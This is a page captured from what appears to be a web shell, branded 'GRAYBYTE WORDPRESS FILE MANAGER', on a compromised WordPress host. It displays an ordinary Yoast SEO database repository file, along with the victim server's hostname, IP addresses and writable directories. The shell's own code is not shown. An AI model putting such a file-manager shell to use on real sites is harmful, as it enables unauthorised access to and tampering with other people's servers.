✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ webm004.cluster127.gra.hosting.ovh.net ​🇻​♯➤ 6.18.42-ovh-vps-grsec-zfs+ #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 54.36.91.62 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.223
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ _dyuweyrj4,_dyuweyrj4r,dl

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/docteuh/www/polyfill-php72/infrastructure//wpdb-expiring-store-repository.php
<?php

namespace Yoast\WP\SEO\Expiring_Store\Infrastructure;

use Yoast\WP\SEO\Expiring_Store\Application\Ports\Expiring_Store_Repository_Interface;

/**
 * WPDB-backed repository for the expiring store table.
 *
 * Handles raw database queries against the network-wide yoast_expiring_store table.
 */
class WPDB_Expiring_Store_Repository implements Expiring_Store_Repository_Interface {

	/**
	 * Inserts or replaces a value in the expiring store.
	 *
	 * @param string $key                 The key to store.
	 * @param string $json_value          The JSON-encoded value.
	 * @param string $expiration_datetime The expiration datetime in 'Y-m-d H:i:s' format.
	 *
	 * @return void
	 */
	public function upsert( string $key, string $json_value, string $expiration_datetime ): void {
		global $wpdb;

		// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Custom table with no caching layer.
		$wpdb->replace(
			$this->get_table_name(),
			[
				'key_name' => $key,
				'value'    => $json_value,
				'exp'      => $expiration_datetime,
			],
			[ '%s', '%s', '%s' ],
		);
	}

	/**
	 * Inserts a value only if the key does not already exist or has expired.
	 *
	 * First removes any expired row for this key, then attempts an INSERT IGNORE.
	 * The primary key constraint ensures that only one concurrent caller can win the insert.
	 * Both queries use standard SQL compatible with MySQL and SQLite (via the WP SQLite plugin).
	 *
	 * @param string $key                 The key to store.
	 * @param string $json_value          The JSON-encoded value.
	 * @param string $expiration_datetime The expiration datetime in 'Y-m-d H:i:s' format.
	 * @param string $current_datetime    The current datetime in 'Y-m-d H:i:s' format.
	 *
	 * @return bool True if the value was inserted, false if the key already exists and is not expired.
	 */
	public function insert_if_absent( string $key, string $json_value, string $expiration_datetime, string $current_datetime ): bool {
		global $wpdb;

		$table = $this->get_table_name();

		// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Custom table with no caching layer.

		// Remove the row only if it has expired. Non-expired rows are left untouched.
		$wpdb->query(
			$wpdb->prepare(
				'DELETE FROM %i WHERE `key_name` = %s AND `exp` <= %s',
				$table,
				$key,
				$current_datetime,
			),
		);

		// Attempt to insert. INSERT IGNORE silently skips on duplicate key without triggering wpdb errors.
		$wpdb->query(
			$wpdb->prepare(
				'INSERT IGNORE INTO %i (`key_name`, `value`, `exp`) VALUES (%s, %s, %s)',
				$table,
				$key,
				$json_value,
				$expiration_datetime,
			),
		);

		// phpcs:enable

		return $wpdb->rows_affected === 1;
	}

	/**
	 * Finds a non-expired value by key.
	 *
	 * @param string $key              The key to find.
	 * @param string $current_datetime The current datetime in 'Y-m-d H:i:s' format.
	 *
	 * @return string|null The JSON-encoded value, or null if not found or expired.
	 */
	public function find( string $key, string $current_datetime ): ?string {
		global $wpdb;

		// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Custom table with no caching layer.
		$result = $wpdb->get_var(
			$wpdb->prepare(
				'SELECT `value` FROM %i WHERE `key_name` = %s AND `exp` > %s',
				$this->get_table_name(),
				$key,
				$current_datetime,
			),
		);

		return ( $result ?? null );
	}

	/**
	 * Deletes a value by key.
	 *
	 * @param string $key The key to delete.
	 *
	 * @return void
	 */
	public function delete( string $key ): void {
		global $wpdb;

		// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Custom table with no caching layer.
		$wpdb->delete(
			$this->get_table_name(),
			[ 'key_name' => $key ],
			[ '%s' ],
		);
	}

	/**
	 * Deletes all expired entries.
	 *
	 * @param string $current_datetime The current datetime in 'Y-m-d H:i:s' format.
	 *
	 * @return int The number of deleted rows.
	 */
	public function delete_expired( string $current_datetime ): int {
		global $wpdb;

		// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Custom table with no caching layer.
		$wpdb->query(
			$wpdb->prepare(
				'DELETE FROM %i WHERE `exp` <= %s',
				$this->get_table_name(),
				$current_datetime,
			),
		);

		return $wpdb->rows_affected;
	}

	/**
	 * Returns the table name for the expiring store.
	 *
	 * Uses base_prefix so the table is shared across the entire multisite network.
	 *
	 * @return string The table name.
	 */
	private function get_table_name(): string {
		global $wpdb;

		return $wpdb->base_prefix . 'yoast_expiring_store';
	}
}


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
22 Sep 2026 11.34 PM
docteuh / users
0755
wpdb-expiring-store-repository.php
4.717 KB
23 Jun 2026 6.19 PM
docteuh / users
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF